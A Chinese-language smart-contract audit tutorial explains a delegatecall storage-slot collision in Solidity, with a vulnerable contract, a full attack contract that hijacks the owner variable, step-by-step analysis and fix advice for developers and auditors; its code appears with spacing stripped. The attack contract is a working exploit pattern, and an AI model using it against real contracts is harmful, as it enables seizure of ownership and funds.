上篇文章中我们了解了什么是delegatecall函数以及一个基础的漏洞，这篇文章的目的是加深一下大家对delegatecall的印象并带大家一起去玩点刺激的，拿下一个进阶版的漏洞合约。
这里就不再重复之前的基础知识了，不了解或者遗忘的可以再看看上一篇文章：《智能合约安全审计入门篇——delegatecall(1)》。
漏洞示例
contractLib{??uintpublicsomeNumber;??functiondoSomething(uint_num)public{????someNumber=_num;??}}contractHackMe{??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??constructor(address_lib){????lib=_lib;????owner=msg.sender;??}??functiondoSomething(uint_num)public{????lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)",_num));??}}
漏洞分析
这次的攻击目标依然是获得HackMe合约中的?owner?权限，我们可以看到两个合约中除了HackMe合约中的构造函数可以修改合约的?owner?其他地方并没有修改?owner?的函数。我们要如何完成攻击呢？这里需要一点小技巧，大家可以思考一下，刚好也可以验证一下自己对于之前知识的掌握程度以及自己的思维是否活跃。
是否有想法呢？没有想法也没关系，我们一起来看攻击是如何完成的：
攻击合约
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractAttack{??//MakesurethestoragelayoutisthesameasHackMe??//Thiswillallowustocorrectlyupdatethestatevariables??addresspubliclib;??addresspublicowner;??uintpublicsomeNumber;??HackMepublichackMe;??constructor(HackMe_hackMe){????hackMe=HackMe(_hackMe);??}??functionattack()public{????//overrideaddressoflib????hackMe.doSomething(uint(uint160(address(this))));????//passanynumberasinput,thefunctiondoSomething()belowwill????//becalled????hackMe.doSomething(1);??}??//functionsignaturemustmatchHackMe.doSomething()??functiondoSomething(uint_num)public{????owner=msg.sender;??}}
我们先看攻击流程：
1.Alice部署Lib合约；
2.Alice部署HackMe合约并在构造函数中传入Lib合约的地址；
3.攻击者Eve部署Attack合约并在构造函数中传入HackMe合约的地址；
4.攻击者调用Attack.attack()函数将HackMe合约中的owner变为自己。
咋回事儿呢？其实这个攻击方式就是很巧妙的运用了delegatecall这个函数修改storage类型变量时的特征：delegatecall函数的执行环境是调用者的环境并且对于storage类型变量的修改是根据被调用合约变量存储的插槽位置来修改的。
1.Attack.attack()函数先将自己的地址转换为uint256类型第一次调用HackMe.doSomething()函数；
2.HackMe.doSomething()函数使用delegatecall函数带着传入的Attack合约的地址调用了Lib.doSomething()函数；
3.可以看到Lib.doSomething()函数将合约中存储位置为slot0的参数改为传入的值，这样当HackMe合约使用delegatecall调用Lib.doSomething()函数时也将改变自己在slot0位置存储的变量的值，也就是将lib参数改为我们传入的Attack合约的地址。此时之前在HackMe.lib参数中存储的Lib合约的地址就被修改成我们传入的Attack合约的地址了；
4.Attack.attack()函数再次调用HackMe.doSomething()函数，由于在上一步我们已经将HackMe.lib变量修改为Attack合约的地址了，这时HackMe.doSomething()函数将不再调用之前的Lib合约而是用delegatecall去调用Attack.doSomething()函数。此时我们再来观察Attack合约的写法，发现其变量的存储位置故意和HackMe合约保持一致，并且不难发现Attack.doSomething()函数的内容也被攻击者写为owner=msg.sender，这个操作修改了合约中存储位置为slot1的变量。所以HackMe合约使用delegatecall调用Attack.doSomething()函数就会将合约中存储位置为slot1的变量owner修改为msg.sender也就是Eve的地址，至此攻击者完成了他的攻击。
修复建议
作为开发者
1.?在使用delegatecall时应注意被调用合约的地址不能是可控的；
2.?在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用delegatecall进行外部调用时会根据被调用合约的数据结构来修改本合约相应slot中存储的数据，当数据结构发生变化时这可能会造成非预期的变量覆盖。
作为审计者
1.在审计过程中遇到合约中有使用delegatecall时需要注意被调用的合约地址是否可控；
2.当被调用合约中的函数存在修改storage变量的情况时需要注意变量存储插槽的位置，避免由于数据结构不一致而导致本合约中存储的storage变量被错误的覆盖。
来源：金色财经
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。